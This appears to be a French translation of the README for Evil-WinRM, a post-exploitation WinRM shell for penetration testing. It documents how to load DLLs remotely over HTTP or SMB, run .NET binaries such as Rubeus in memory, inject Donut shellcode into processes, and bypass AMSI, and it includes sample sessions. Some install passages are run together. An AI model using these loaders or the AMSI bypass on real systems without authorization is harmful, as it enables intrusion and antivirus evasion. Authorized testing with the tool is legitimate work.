
Le shell WinRM ultime pour le hacking/pentesting
Le shell WinRM ultime pour le hacking/pen-testing

Ce shell est le shell WinRM ultime pour le hacking/pen-testing.
WinRM (Windows Remote Management) est l'implémentation Microsoft du protocole WS-Management. Un protocole standard basé sur SOAP qui permet à du matériel et des systèmes d'exploitation de différents fournisseurs d'interopérer. Microsoft l'a inclus dans ses systèmes d'exploitation afin de faciliter la vie des administrateurs système.
Ce programme peut être utilisé sur n'importe quel serveur Microsoft Windows avec cette fonctionnalité activée (généralement sur le port 5985), bien sûr seulement si vous avez les identifiants et les autorisations pour l'utiliser. On peut donc dire qu'il pourrait être utilisé dans une phase post-exploitation de hacking/pen-testing. Le but de ce programme est de fournir des fonctionnalités agréables et faciles à utiliser pour le hacking. Il peut également être utilisé à des fins légitimes par les administrateurs système, mais la plupart de ses fonctionnalités sont axées sur le hacking/pen-testing.
Il est basé principalement sur la bibliothèque Ruby WinRM qui a changé sa façon de fonctionner depuis sa version 2.0. Maintenant, au lieu d'utiliser le protocole WinRM, il utilise PSRP (Powershell Remoting Protocol) pour initialiser des runspace pools ainsi que pour créer et traiter des pipelines.
Usage: evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-a USERAGENT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r REALM] [-K TICKET_FILE] [--spn SPN_PREFIX] [-l] -S, --ssl Enable ssl -c, --pub-key PUBLIC_KEY_PATH Local path to public key certificate -k, --priv-key PRIVATE_KEY_PATH Local path to private key certificate -r, --realm DOMAIN Kerberos auth, it has to be set also in /etc/krb5.conf file using this format -> CONTOSO.COM = { kdc = fooserver.contoso.com } -K, --ccache TICKET_FILE Path to Kerberos ticket file (ccache or kirbi format, auto-detected) -s, --scripts PS_SCRIPTS_PATH Powershell scripts local path --spn SPN_PREFIX SPN prefix for Kerberos auth (default HTTP) -e, --executables EXES_PATH C# executables local path -i, --ip IP Remote host IP or hostname. FQDN for Kerberos auth (required) -U, --url URL Remote url endpoint (default /wsman) -u, --user USER Username (required if not using kerberos) -p, --password PASS Password -H, --hash HASH NTHash -P, --port PORT Remote host port (default 5985) -a, --user-agent Specify connection user-agent (default Microsoft WinRM Client) -V, --version Show version -n, --no-colors Disable colors -N, --no-rpath-completion Disable remote path completion -l, --log Log the WinRM session -h, --help Display this help message
## Prérequis
Ruby 2.3 ou supérieur est nécessaire. Certaines gemmes ruby sont également nécessaires : `winrm >=2.3.7`, `winrm-fs >=1.3.2`, `stringio >=0.0.2`, `logger >= 1.4.3`, `fileutils >= 0.7.2`.
Selon votre méthode d'installation (4 disponibles), leur installation peut devoir être effectuée manuellement.
Une autre exigence importante, utilisée uniquement pour l'authentification Kerberos, est d'installer le paquet Kerberos utilisé pour l'authentification réseau.
Pour certains Linux comme ceux basés sur Debian (Kali, Parrot, etc.), il est appelé `krb5-user`. Pour BlackArch, il est appelé `krb5` et il pourrait probablement être appelé différemment pour d'autres distributions Linux.
La fonctionnalité de complétion de chemin distant fonctionnera uniquement si votre ruby a été compilé en activant le flag `--with-readline-dir`. Ceci est activé par défaut dans ruby inclus dans certaines distributions Linux mais pas dans toutes. Consultez [la section ci-dessous](#Remote-path-completion) pour plus d'informations.
## Installation et démarrage rapide (4 méthodes)
### Méthode 1. Installation directe en tant que gem ruby (les dépendances seront installées automatiquement sur votre système)
- Étape 1. Installez-le (il installera automatiquement les dépendances) : ```gem install evil-winrm```
- Étape 2. Prêt. Lancez-le simplement !```
evil-winrm -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'
sudo gem install winrm winrm-fs stringio logger fileutilsgit clone https://github.com/Hackplayers/evil-winrm.git### Méthode 3. Utilisation de bundler (les dépendances ne seront pas installées sur votre système, juste pour utiliser evil-winrm)
- Étape 1. Installer bundler: `gem install bundler`
- Étape 2. Cloner le dépôt: `git clone https://github.com/Hackplayers/evil-winrm.git`
- Étape 3. Installer les dépendances avec bundler: `cd evil-winrm && bundle install --path vendor/bundle`
- Étape 4. Lancer avec bundler:```
bundle exec evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'
## Documentation
### Clear text password
Si vous ne souhaitez pas mettre le mot de passe en clair, vous pouvez éventuellement éviter de définir l'argument `-p` et le mot de passe vous sera demandé sans être affiché.
### Ipv6
Pour utiliser IPv6, l'adresse doit être ajoutée à /etc/hosts. Mettez simplement le nom déjà défini de l'hôte après l'argument `-i` au lieu d'une adresse IP.
### Basic commands
- **upload** : les fichiers locaux peuvent être complétés automatiquement avec la touche Tab.
- utilisation : `upload local_filename` ou `upload local_filename destination_filename`
- **download** :
- utilisation : `download remote_filename` ou `download remote_filename destination_filename`
__Remarques sur les chemins (upload/download)__ :
Les chemins relatifs ne sont pas autorisés pour le téléchargement/l'envoi. Utilisez des noms de fichiers dans le répertoire courant ou un chemin absolu.
Si vous utilisez Evil-WinRM dans un environnement Docker, gardez à l'esprit que tous les chemins locaux doivent être dans `/data` et assurez-vous de l'avoir monté en tant que volume afin de pouvoir accéder aux fichiers téléchargés ou de pouvoir envoyer des fichiers depuis votre système d'exploitation hôte local.
- **services** : liste tous les services en affichant si votre compte a des permissions sur chacun d'eux. Aucune permission d'administrateur n'est nécessaire pour utiliser cette fonctionnalité.
- **menu** : charge les fonctions `Invoke-Binary`, `Dll-Loader` et `Donut-Loader` que nous expliquerons ci-dessous. Lorsqu'un fichier ps1 est chargé, toutes ses fonctions s'affichent.
- **clear** ou **cls** : efface l'écran du terminal. Vous pouvez également utiliser le raccourci clavier `Ctrl+L` pour effacer l'écran.```
*Evil-WinRM* PS C:\> menu
,. ( . ) " ,. ( . ) .
(" ( ) )' ,' ( ' (" ) )' ,' . ,)
.; ) ' (( (" ) ;(, . ;) " )" .; ) ' (( (" ) );(, )((
_".,_,.__).,) (.._( ._), ) , (._..( '.._"._, . '._)_(..,_(_".) _( _')
\_ _____/__ _|__| | (( ( / \ / \__| ____\______ \ / \
| __)_\ \/ / | | ;_)_') \ \/\/ / |/ \| _/ / \ / \
| \\ /| | |__ /_____/ \ /| | | \ | \/ Y \
/_______ / \_/ |__|____/ \__/\ / |__|___| /____|_ /\____|__ /
\/ \/ \/ \/ \/
By: CyberVaca, OscarAkaElvis, Jarilaos, Arale61 @Hackplayers
[+] Dll-Loader
[+] Donut-Loader
[+] Invoke-Binary
[+] Bypass-4MSI
[+] services
[+] upload
[+] download
[+] clear
[+] cls
[+] menu
[+] exit
Pour charger un fichier ps1, il suffit de taper son nom (auto-complétion par tabulation activée). Les scripts doivent se trouver dans le chemin défini par l'argument -s. Tapez à nouveau menu pour voir les fonctions chargées. Les très gros fichiers peuvent prendre beaucoup de temps à être chargés.```
Evil-WinRM PS C:> PowerView.ps1
Evil-WinRM PS C:> menu
,. ( . ) " ,. ( . ) .
(" ( ) )' ,' ( ' (" ) )' ,' . ,)
.; ) ' (( (" ) ;(, . ;) " )" .; ) ' (( (" ) );(, )((
".,,.).,) (..( .), ) , (...( '.."., . '.)(..,(".) ( ')
_ / _|| | (( ( / \ / _| _ \ /
| __)\ / / | | ;)') \ // / |/ | / / \ /
| \ /| | | // \ /| | | \ | / Y
/_____ / _/ |__|/ _/\ / ||| /__| /__| /
/ / / / /
By: CyberVaca, OscarAkaElvis, Jarilaos, Arale61 @Hackplayers
[+] Add-DomainAltSecurityIdentity [+] Add-DomainGroupMember [+] Add-DomainObjectAcl [+] Add-RemoteConnection [+] Add-Win32Type [+] Convert-ADName [+] Convert-DNSRecord [+] ConvertFrom-LDAPLogonHours [+] ConvertFrom-SID [+] ConvertFrom-UACValue [+] Convert-LDAPProperty [+] Convert-LogonHours [+] ConvertTo-SID [+] Dll-Loader [+] Donut-Loader [+] Export-PowerViewCSV [+] field [+] Find-DomainLocalGroupMember
### Advanced commands
- Invoke-Binary : permet d'exécuter des assemblages .Net en mémoire. Le nom peut être auto-complété à l'aide de la touche Tab. Les arguments pour le fichier exe peuvent être passés séparés par des virgules. Exemple : `Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'`. Les exécutables doivent se trouver dans le chemin défini par l'argument `-e`.```
*Evil-WinRM* PS C:\> Invoke-Binary
.SYNOPSIS
Execute binaries from memory.
PowerShell Function: Invoke-Binary
Author: Luis Vacas (CyberVaca)
Required dependencies: None
Optional dependencies: None
.DESCRIPTION
.EXAMPLE
Invoke-Binary /opt/csharp/Watson.exe
Invoke-Binary /opt/csharp/Binary.exe param1,param2,param3
Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'
Description
-----------
Function that execute binaries from memory.
*Evil-WinRM* PS C:\> Invoke-Binary /opt/csharp/Rubeus.exe
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
Ticket requests and renewals:
Dll-Loader: permet de charger des bibliothèques dll en mémoire, équivalent à : [Reflection.Assembly]::Load([IO.File]::ReadAllBytes("pwn.dll"))
Le fichier dll peut être hébergé via smb, http ou localement. Une fois chargé, tapez menu, puis il est possible d'autocompléter toutes les fonctions.```
Evil-WinRM PS C:> Dll-Loader
.SYNOPSIS
dll loader.
PowerShell Function: Dll-Loader
Author: Hector de Armas (3v4Si0N)
Required dependencies: None Optional dependencies: None .DESCRIPTION . .EXAMPLE Dll-Loader -smb -path \192.168.139.132\share\myDll.dll Dll-Loader -local -path C:\Users\Pepito\Desktop\myDll.dll Dll-Loader -http -path http://example.com/myDll.dll
Function that loads an arbitrary dll
Evil-WinRM PS C:> Dll-Loader -http http://10.10.10.10/SharpSploit.dll [+] Reading dll by HTTP [+] Loading dll... Evil-WinRM PS C:\Users\test\Documents> menu
[... Snip ...]
Evil-WinRM PS C:> [SharpSploit.Enumeration.Host]::GetProcessList()
Pid : 0 Ppid : 0 Name : Idle Path : SessionID : 0 Owner : Architecture : x64
- Donut-Loader : permet d'injecter des payloads x64 générées avec l'impressionnante technique [donut]. Pas besoin d'encoder le payload.bin, il suffit de générer et d'injecter !```
*Evil-WinRM* PS C:\> Donut-Loader
.SYNOPSIS
Donut Loader.
PowerShell Function: Donut-Loader
Author: Luis Vacas (CyberVaca)
Based code: TheWover
Required dependencies: None
Optional dependencies: None
.DESCRIPTION
.EXAMPLE
Donut-Loader -process_id 2195 -donutfile /home/cybervaca/donut.bin
Donut-Loader -process_id (get-process notepad).id -donutfile /home/cybervaca/donut.bin
Description
-----------
Function that loads an arbitrary donut :D
Vous pouvez utiliser ce [donut-maker] pour générer le payload.bin si vous n'utilisez pas Windows. Ce script utilise un module Python écrit par Marcello Salvati ([byt3bl33d3r]). Il peut être installé avec pip : `pip3 install donut-shellcode```` python3 donut-maker.py -i Covenant.exe
.'/,-Y" "-.
l.Y ^.
/\ __ Donuts!
i /" "
| /" "\ o !
l ] o !./
\ _ _ .__./ "
X / \ _./
( \ . ..--" ~" /
Y \ /
| "x.^
| -. Z,-- /
__. ( / ______)
\ l /-----
j Y
[+] Donut generated successfully: payload.bin
- Bypass-4MSI: patch la protection AMSI.```
*Evil-WinRM* PS C:\> #amsiscanbuffer
At line:1 char:1
+ #amsiscanbuffer
+ ~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
+ CategoryInfo : ParserError: (:) [Invoke-Expression], ParseException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent,Microsoft.PowerShell.Commands.InvokeExpressionCommand
*Evil-WinRM* PS C:\>
*Evil-WinRM* PS C:\> Bypass-4MSI
[+] Success!
*Evil-WinRM* PS C:\> #amsiscanbuffer
*Evil-WinRM* PS C:\>
Vous devez d'abord synchroniser la date avec le DC : rdate -n <dc_ip>
Pour générer un ticket, il existe plusieurs méthodes :
Ajouter le fichier de ticket. Il y a 3 façons :
export KRB5CCNAME=/foo/var/ticket.ccache
cp ticket.ccache /tmp/krb5cc_0
Utiliser le paramètre -K : evil-winrm -i hostname -r DOMAIN.COM -K /path/to/ticket.ccache ou evil-winrm -i hostname -r DOMAIN.COM -K /path/to/ticket.kirbi
Lors de l'utilisation de -K, l'outil va automatiquement :
KRB5CCNAMEAjouter le realm à /etc/krb5.conf (pour linux). L'utilisation de ce format est importante : ```
CONTOSO.COM = {
kdc = fooserver.contoso.com
}
Cette fonctionnalité peut ne pas être disponible selon le ruby que vous utilisez. Il doit être compilé avec le support readline. Sinon, cette fonctionnalité ne fonctionnera pas (un avertissement s'affichera).
En utilisant cette méthode, vous compilez ruby avec la fonctionnalité readline nécessaire, mais en utilisant uniquement la bibliothèque sans modifier la version par défaut de ruby sur votre système. C'est pourquoi elle est la méthode la plus recommandée.
Supposons que vous ayez ruby 2.7.3 sur votre système basé sur Debian :```
apt install libreadline-dev
ruby --version ruby 2.7.3p183 (2021-04-05 revision 6847ee089d) [x86_64-linux-gnu]
wget https://ftp.ruby-lang.org/pub/ruby/2.7/ruby-2.7.3.tar.gz
tar -xf ruby-2.7.3.tar.gz
cd ruby-2.7.3/ext/readline ruby ./extconf.rb make
sudo cp /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so.bk sudo cp -f readline.so /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so
#### Méthode 2 (Installer ruby pour l'utiliser uniquement pour evil-winrm avec rbenv)
Supposons que vous souhaitiez ruby 2.7.1 sur un Linux basé sur Debian et que vous utilisiez zsh. Ce script l'automatisera. Vous devrez le lancer depuis le même répertoire où se trouvent evil-winrm.rb et Gemfile (le répertoire evil-winrm créé après un git clone par exemple) :```
#!/usr/bin/env zsh
# Uninstall possible current installed versions
sudo gem uninstall evil-winrm -q
gem uninstall evil-winrm -q
# Install rbenv
sudo apt install rbenv
# Config rbenv on zshrc config file
echo 'export PATH="$HOME/.rbenv/bin:$PATH"' >> ~/.zshrc
echo 'eval "$(rbenv init -)"' >> ~/.zshrc
source ~/.zshrc
# Install ruby with readline support
export RUBY_CONFIGURE_OPTS=--with-readline-dir="/usr/include/readline"
rbenv install 2.7.1
# Create file '.ruby-version' to set right ruby version
rbenv local 2.7.1
# Install local gems
gem install bundler
bundle install
current_evwr="$(pwd)/evil-winrm.rb"
sudo bash -c "cat << 'EOF' > /usr/bin/evil-winrm
#!/usr/bin/env sh
"${current_evwr}" "\$@"
EOF"
sudo chmod +x /usr/bin/evil-winrm
Ensuite, vous pouvez lancer evil-winrm en toute sécurité en utilisant le nouveau ruby installé avec le support readline requis depuis n'importe quel emplacement.
Si vous souhaitez le compiler vous-même, vous pouvez suivre ces étapes. Supposons que vous voulez ruby 2.7.3 :``` wget -O ruby-install-0.8.1.tar.gz https://github.com/postmodern/ruby-install/archive/v0.8.1.tar.gz tar -xzvf ruby-install-0.8.1.tar.gz cd ruby-install-0.8.1/ sudo make install ruby-install ruby 2.7.3 -- --with-readline-dir=/usr/include/readline
Selon votre système, il sera installé dans `/opt/rubies/ruby-2.7.3` ou peut-être dans `~/.rubies/ruby-2.7.3`.
Il suffit maintenant d'installer les dépendances d'evil-winrm pour cette nouvelle version de ruby. Le moyen le plus simple est d'exécuter la commande `/opt/rubies/ruby-2.7.3/bin/gem install evil-winrm`. La commande gem utilisée doit appartenir à la nouvelle installation de ruby.
Après cela, vous pouvez lancer en toute sécurité votre nouveau ruby installé pour l'utiliser avec evil-winrm : `/opt/rubies/ruby-2.7.3/bin/ruby ./evil-winrm.rb -h`
Il est recommandé d'utiliser ce nouveau ruby uniquement pour lancer evil-winrm. Si vous le définissez comme ruby par défaut de votre système, gardez à l'esprit qu'il n'a aucune gem de dépendance installée. Certains logiciels basés sur ruby comme Metasploit ou d'autres pourraient ne pas démarrer correctement en raison de problèmes de dépendances.
### Journalisation
Cette fonctionnalité créera des fichiers dans votre répertoire $HOME sauvegardant les commandes et les sorties des sessions WinRM.
### Historique des commandes
Evil-WinRM maintient un historique persistant des commandes pour chaque combinaison hôte et utilisateur. L'historique est stocké dans le répertoire `~/.evil-winrm/history/` avec des fichiers nommés `{hôte}_{utilisateur}.hist`.
Lorsque vous vous connectez à une machine que vous avez déjà consultée, vous pouvez utiliser les touches fléchées (Haut/Bas) pour naviguer dans vos commandes précédentes. L'historique est automatiquement sauvegardé après chaque exécution de commande et chargé lorsque vous vous reconnectez au même hôte avec le même utilisateur.
### Problèmes connus. Erreurs OpenSSL
Parfois, vous pouvez rencontrer une erreur comme celle-ci :```
Error: An error of type OpenSSL::Digest::DigestError happened, message is Digest initialization failed: initialization error
L'erreur est causée car la version OpenSSL 3.0 a retiré certaines fonctions héritées comme MD4, nécessaires au fonctionnement de cet outil. Il existe différentes solutions de contournement pour gérer cette situation :
/etc/ssl/openssl.cnf et assurez-vous que la configuration ressemble à ceci :```
openssl_conf = openssl_init[openssl_init] providers = provider_sect
[provider_sect] default = default_sect legacy = legacy_sect
[default_sect] activate = 1
[legacy_sect] activate = 1
- En alternative à la dernière solution de contournement, si votre système utilise LibreSSL au lieu d’OpenSSL ou si vous ne souhaitez tout simplement pas modifier votre fichier de configuration système. Créez un fichier simple contenant le contenu ci-dessus. N’importe quel nom peut être utilisé, par exemple `evil-tls.conf`. Ensuite, exportez une variable d’environnement pour forcer le système à l’utiliser : `export OPENSSL_CONF="/path/to/evil-tls.conf"`. Puis lancez l’outil, l’erreur disparaîtra.
## Journal des modifications :
Le journal des modifications et les changements du projet peuvent être consultés ici : [CHANGELOG.md](https://raw.githubusercontent.com/Hackplayers/evil-winrm/master/CHANGELOG.md)
## Crédits :
Équipe :
- [Cybervaca], (fondateur). Twitter (X) : [@CyberVaca_]
- [OscarAkaElvis], Twitter (X) : [@OscarAkaElvis]
- [Jarilaos], Twitter (X) : [@_Laox]
- [arale61], Twitter (X) : [@arale61]
Remerciements à :
- [Vis0r] pour son soutien personnel.
- [Alamot] pour son code original.
- [3v4Si0N] pour son superbe chargeur de DLL.
- [WinRb] Tous les contributeurs de la bibliothèque Ruby.
- [TheWover] pour son superbe outil donut.
- [byt3bl33d3r] pour sa bibliothèque Python pour créer des charges utiles donut.
- [Sh11td0wn] pour l’inspiration concernant les nouvelles fonctionnalités.
- [Borch] pour son aide à l’ajout de la fonctionnalité de journalisation.
- [Hackplayers] pour avoir offert un hébergement sur leur GitHub à ce logiciel.
## Avertissement et licence
Ce script est sous licence LGPLv3+. Lien direct vers la [Licence](https://raw.githubusercontent.com/Hackplayers/evil-winrm/master/LICENSE).
Evil-WinRM ne doit être utilisé que pour des tests de pénétration autorisés et/ou à des fins éducatives non lucratives. Toute utilisation abusive de ce logiciel ne relèvera pas de la responsabilité de l’auteur ou de tout autre collaborateur. Utilisez-le sur vos propres serveurs et/ou avec l’autorisation du propriétaire du serveur.
<!-- Github URLs -->
[Cybervaca]: https://github.com/cybervaca
[OscarAkaElvis]: https://github.com/OscarAkaElvis
[Jarilaos]: https://github.com/jarilaos
[arale61]: https://github.com/arale61
[Vis0r]: https://github.com/vmotos
[Alamot]: https://github.com/Alamot
[3v4Si0N]: https://github.com/3v4Si0N
[Borch]: https://github.com/Stoo0rmq
[donut]: https://github.com/TheWover/donut
[donut-maker]: https://raw.githubusercontent.com/Hackplayers/Salsa-tools/master/Donut-Maker/donut-maker.py
[byt3bl33d3r]: https://twitter.com/byt3bl33d3r
[WinRb]: https://github.com/WinRb/WinRM/graphs/contributors
[TheWover]: https://github.com/TheWover
[Sh11td0wn]: https://github.com/Sh11td0wn
[ticketer.py]: https://raw.githubusercontent.com/SecureAuthCorp/impacket/master/examples/ticketer.py
[ticket_converter.py]: https://github.com/Zer1t0/ticket_converter
[Rubeus]: https://github.com/GhostPack/Rubeus
[Mimikatz]: https://github.com/gentilkiwi/mimikatz
[cheatsheet]: https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29f3cb5c5c4a
[Dockerhub]: https://hub.docker.com/r/oscarakaelvis/evil-winrm
[Hackplayers]: https://www.hackplayers.com/
<!-- Twitter URLs -->
[@CyberVaca_]: https://twitter.com/CyberVaca_
[@OscarAkaElvis]: https://twitter.com/OscarAkaElvis
[@_Laox]: https://twitter.com/_Laox
[@arale61]: https://twitter.com/arale61
<!-- Badges URLs -->
[Version-shield]: https://img.shields.io/badge/version-3.9-blue.svg?style=flat-square&colorA=273133&colorB=0093ee "Latest version"
[Ruby2.3-shield]: https://img.shields.io/badge/ruby-2.3+-blue.svg?style=flat-square&colorA=273133&colorB=ff0000 "Ruby 2.3 or later"
[License-shield]: https://img.shields.io/badge/license-LGPL%20v3+-blue.svg?style=flat-square&colorA=273133&colorB=bd0000 "LGPL v3+"
[Docker-shield]: https://img.shields.io/docker/automated/oscarakaelvis/evil-winrm.svg?style=flat-square&colorA=273133&colorB=a9a9a9 "Docker rules!"
[Gem-Version]: https://img.shields.io/gem/v/evil-winrm?style=flat-square&colorA=273133&colorB=46c249 "Ruby gem"
Vérifiez les tickets Kerberos avec klist
Pour supprimer un ticket, utilisez : kdestroy
Pour plus d'informations sur Kerberos, consultez cette [antisèche]